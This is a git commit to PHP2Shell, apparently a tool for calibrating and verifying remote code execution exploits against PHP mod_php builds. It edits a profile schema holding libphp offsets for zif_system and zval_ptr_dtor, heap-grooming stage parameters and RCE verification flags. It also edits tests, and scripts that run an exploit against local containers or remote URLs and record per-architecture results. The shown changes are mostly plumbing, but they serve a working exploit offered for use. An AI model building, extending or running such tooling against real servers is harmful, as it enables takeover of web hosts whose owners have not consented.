Skip to content

Commit 67e73d6

Browse files
committed
Fix remote pinning edge cases and add arch metadata to calibration
1 parent 36af4de commit 67e73d6

5 files changed

Lines changed: 143 additions & 25 deletions

File tree

‎profiles/schema.json‎

Lines changed: 83 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,17 @@
44
"title": "PHP2Shell build profile",
55
"description": "Per-build profile with libphp offsets, heap calibration parameters and RCE verification status.",
66
"type": "object",
7-
"required": ["name", "php_version", "branch", "sapi", "rce", "libphp", "stages", "config"],
7+
"required": [
8+
"name",
9+
"php_version",
10+
"branch",
11+
"sapi",
12+
"arch",
13+
"rce",
14+
"libphp",
15+
"stages",
16+
"config"
17+
],
818
"properties": {
919
"name": {
1020
"type": "string",
@@ -22,12 +32,17 @@
2232
"description": "PHP release branch, e.g. 8.4."
2333
},
2434
"fixed_in": {
25-
"type": ["string", "null"],
35+
"type": [
36+
"string",
37+
"null"
38+
],
2639
"description": "First patched version in this branch, or null for EOL branches."
2740
},
2841
"sapi": {
2942
"type": "string",
30-
"enum": ["apache2handler"],
43+
"enum": [
44+
"apache2handler"
45+
],
3146
"description": "Server API. Only apache2handler (mod_php prefork) is supported."
3247
},
3348
"verified": {
@@ -40,7 +55,11 @@
4055
},
4156
"upstream_profile": {
4257
"type": "string",
43-
"enum": ["bookworm", "bookworm-noexpose", "lab"],
58+
"enum": [
59+
"bookworm",
60+
"bookworm-noexpose",
61+
"lab"
62+
],
4463
"description": "Upstream exploit profile name passed to exploit.py."
4564
},
4665
"distro": {
@@ -49,13 +68,19 @@
4968
},
5069
"arch": {
5170
"type": "string",
52-
"enum": ["aarch64", "amd64"],
71+
"enum": [
72+
"aarch64",
73+
"amd64"
74+
],
5375
"description": "CPU architecture."
5476
},
5577
"libphp": {
5678
"type": "object",
5779
"description": "Symbol offsets relative to the libphp.so load base.",
58-
"required": ["zif_system", "zval_ptr_dtor"],
80+
"required": [
81+
"zif_system",
82+
"zval_ptr_dtor"
83+
],
5984
"properties": {
6085
"zif_system": {
6186
"type": "string",
@@ -68,7 +93,10 @@
6893
"description": "Offset of zval_ptr_dtor (the destructor the stage-3 hijack replaces)."
6994
},
7095
"htdata": {
71-
"type": ["string", "null"],
96+
"type": [
97+
"string",
98+
"null"
99+
],
72100
"pattern": "^0x[0-9a-fA-F]+$",
73101
"description": "Chunk-relative offset of the 167-byte live string used as stage-3 carrier. Null when stage 3 is not calibrated."
74102
}
@@ -100,17 +128,25 @@
100128
"description": "Value parameter for stage-2 calibration."
101129
},
102130
"stage3_pads": {
103-
"type": ["array", "null"],
131+
"type": [
132+
"array",
133+
"null"
134+
],
104135
"items": {
105136
"type": "array",
106-
"items": { "type": "integer" },
137+
"items": {
138+
"type": "integer"
139+
},
107140
"minItems": 2,
108141
"maxItems": 2
109142
},
110143
"description": "Padding pairs for stage-3 heap grooming. Null when stage 3 is not calibrated."
111144
},
112145
"stage3_carrier": {
113-
"type": ["boolean", "null"],
146+
"type": [
147+
"boolean",
148+
"null"
149+
],
114150
"description": "Whether the 167-byte carrier string is used. Null when stage 3 is not calibrated."
115151
}
116152
},
@@ -173,28 +209,56 @@
173209
},
174210
"memory_limit_tested_mb": {
175211
"type": "array",
176-
"items": { "type": "integer", "minimum": 1 },
212+
"items": {
213+
"type": "integer",
214+
"minimum": 1
215+
},
177216
"description": "memory_limit values (in MiB) where RCE was verified."
178217
}
179218
},
180-
"if": { "properties": { "rce": { "const": true } } },
219+
"if": {
220+
"properties": {
221+
"rce": {
222+
"const": true
223+
}
224+
}
225+
},
181226
"then": {
182-
"required": ["oom_mb"],
227+
"required": [
228+
"oom_mb"
229+
],
183230
"properties": {
184231
"libphp": {
185-
"required": ["zif_system", "zval_ptr_dtor", "htdata"],
232+
"required": [
233+
"zif_system",
234+
"zval_ptr_dtor",
235+
"htdata"
236+
],
186237
"properties": {
187-
"htdata": { "type": "string" }
238+
"htdata": {
239+
"type": "string"
240+
}
188241
}
189242
},
190243
"stages": {
191-
"required": ["stage1_n", "stage1_forge_len", "stage2_t", "stage2_v", "stage3_pads", "stage3_carrier"],
244+
"required": [
245+
"stage1_n",
246+
"stage1_forge_len",
247+
"stage2_t",
248+
"stage2_v",
249+
"stage3_pads",
250+
"stage3_carrier"
251+
],
192252
"properties": {
193-
"stage3_pads": { "type": "array" },
194-
"stage3_carrier": { "type": "boolean" }
253+
"stage3_pads": {
254+
"type": "array"
255+
},
256+
"stage3_carrier": {
257+
"type": "boolean"
258+
}
195259
}
196260
}
197261
}
198262
},
199263
"additionalProperties": false
200-
}
264+
}

‎tests/test_core.py‎

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,7 @@
2222
import php2shell_auto as auto # noqa: E402
2323
import php2shell_ui as ui # noqa: E402
2424
import php2shell_paths as paths # noqa: E402
25+
import php2shell_calibrate as cal # noqa: E402
2526

2627

2728
class ClassificationTests(unittest.TestCase):
@@ -60,6 +61,15 @@ def test_branch_only(self):
6061
def test_none(self):
6162
self.assertEqual(auto.select([], "8.4.26", "8.4"), (None, "none"))
6263

64+
def test_auto_remote_connection_timeout_is_safe(self):
65+
with mock.patch.object(auto.socket, "create_connection", side_effect=socket.timeout):
66+
self.assertIsNone(auto.WorkerPins.auto_remote("http://127.0.0.1:1", max_pins=1))
67+
68+
def test_container_arch_mapping(self):
69+
result = SimpleNamespace(returncode=0, stdout="x86_64\n", stderr="")
70+
with mock.patch.object(cal.subprocess, "run", return_value=result):
71+
self.assertEqual(cal.container_arch("x"), "amd64")
72+
6373
def test_remote_arch_required(self):
6474
self.assertTrue(auto.remote_arch_required(True, None, None))
6575
self.assertFalse(auto.remote_arch_required(True, "amd64", None))
@@ -159,6 +169,7 @@ def test_profile_schema_if_present(self):
159169
data = json.loads(schema.read_text())
160170
self.assertIn("$schema", data)
161171
self.assertEqual(data.get("type"), "object")
172+
self.assertIn("arch", data.get("required", []))
162173

163174
def test_catalog_structure(self):
164175
catalog = json.loads((ROOT / "catalog" / "vulnerable.json").read_text())

‎tools/php2shell_auto.py‎

Lines changed: 11 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -345,6 +345,7 @@ def auto_remote(cls, url: str, max_pins: int = 32):
345345
path = u.path or "/"
346346
pins = []
347347
for _ in range(max_pins):
348+
s = None
348349
try:
349350
s = socket.create_connection((host, port), timeout=3)
350351
if u.scheme == "https":
@@ -355,12 +356,18 @@ def auto_remote(cls, url: str, max_pins: int = 32):
355356
s.settimeout(2)
356357
data = s.recv(65536)
357358
except socket.timeout:
358-
try:
359-
s.close()
360-
except OSError:
361-
pass
359+
if s is not None:
360+
try:
361+
s.close()
362+
except OSError:
363+
pass
362364
break
363365
except OSError:
366+
if s is not None:
367+
try:
368+
s.close()
369+
except OSError:
370+
pass
364371
break
365372
if not data:
366373
try:

‎tools/php2shell_calibrate.py‎

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -301,6 +301,16 @@ def calibrate_stage3(mod, ex, chunk, lib, zif, proof, hints):
301301
return False, None
302302

303303

304+
def container_arch(container: str) -> str | None:
305+
try:
306+
result = subprocess.run(["docker", "exec", container, "uname", "-m"],
307+
capture_output=True, text=True, timeout=10)
308+
except (OSError, subprocess.SubprocessError):
309+
return None
310+
return {"aarch64": "aarch64", "arm64": "aarch64",
311+
"x86_64": "amd64", "amd64": "amd64"}.get(result.stdout.strip().lower())
312+
313+
304314
def main() -> int:
305315
ap = argparse.ArgumentParser(description="Calibrate one PHP2Shell build profile.")
306316
ap.add_argument("--target", required=True)
@@ -315,8 +325,19 @@ def main() -> int:
315325
ap.add_argument("--stage3-htdata", type=lambda x: int(x, 0))
316326
ap.add_argument("--stage3-pads", choices=("bookworm", "lab"))
317327
ap.add_argument("--distro", default="unknown")
328+
ap.add_argument("--arch", choices=("aarch64", "amd64"), default=None)
318329
args = ap.parse_args()
319330

331+
arch = args.arch or container_arch(args.container)
332+
if arch is None:
333+
for candidate in ("amd64", "aarch64"):
334+
if candidate in args.distro:
335+
arch = candidate
336+
break
337+
if arch is None:
338+
print("[!] cannot determine target architecture; pass --arch", file=sys.stderr)
339+
return 3
340+
320341
patch_params(args.repo_dir)
321342
if args.target.startswith("https://"):
322343
patch_tls(args.repo_dir)
@@ -354,6 +375,8 @@ def main() -> int:
354375
"branch": branch,
355376
"fixed_in": f"{branch}.{fixed}" if fixed else None,
356377
"sapi": "apache2handler",
378+
"arch": arch,
379+
"distro": "debian" if "bookworm" in args.distro else args.distro,
357380
"verified": rce,
358381
"rce": rce,
359382
"oom_mb": 12,

‎tools/php2shell_matrix.py‎

Lines changed: 15 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -47,13 +47,21 @@
4747

4848
def arch_label() -> str:
4949
machine = platform.machine().lower()
50-
return {"arm64": "aarch64", "x86_64": "x86_64", "amd64": "x86_64"}.get(machine, machine)
50+
return {"arm64": "aarch64", "x86_64": "amd64", "amd64": "amd64"}.get(machine, machine)
5151

5252

5353
def docker(*args, capture=True, timeout=600):
5454
return subprocess.run(["docker", *args], capture_output=capture, text=True, timeout=timeout)
5555

5656

57+
def container_arch(name: str) -> str | None:
58+
result = docker("exec", name, "uname", "-m")
59+
if result.returncode != 0:
60+
return None
61+
return {"aarch64": "aarch64", "arm64": "aarch64",
62+
"x86_64": "amd64", "amd64": "amd64"}.get(result.stdout.strip().lower())
63+
64+
5765
def wait_http(url: str, timeout: float = 30.0) -> bool:
5866
deadline = time.time() + timeout
5967
while time.time() < deadline:
@@ -93,11 +101,16 @@ def run_build(build, args) -> dict:
93101
docker("rm", "-f", name)
94102
return {"label": label, "status": "no-http"}
95103

104+
actual_arch = container_arch(name) or arch_label()
105+
label = f"{build['key']}-bookworm-{actual_arch}"
106+
print(f"[*] architecture: {actual_arch}", flush=True)
107+
96108
cmd = [sys.executable, os.path.join(HERE, "php2shell_calibrate.py"),
97109
"--target", url, "--container", name,
98110
"--repo-dir", args.repo_dir,
99111
"--proof-file", proof,
100-
"--distro", f"bookworm-{arch_label()}",
112+
"--distro", f"bookworm-{actual_arch}",
113+
"--arch", actual_arch,
101114
"--out-dir", PROFILES]
102115
if not args.full_search:
103116
cmd += ["--stage2-t", "406"]

0 commit comments

Comments
 (0)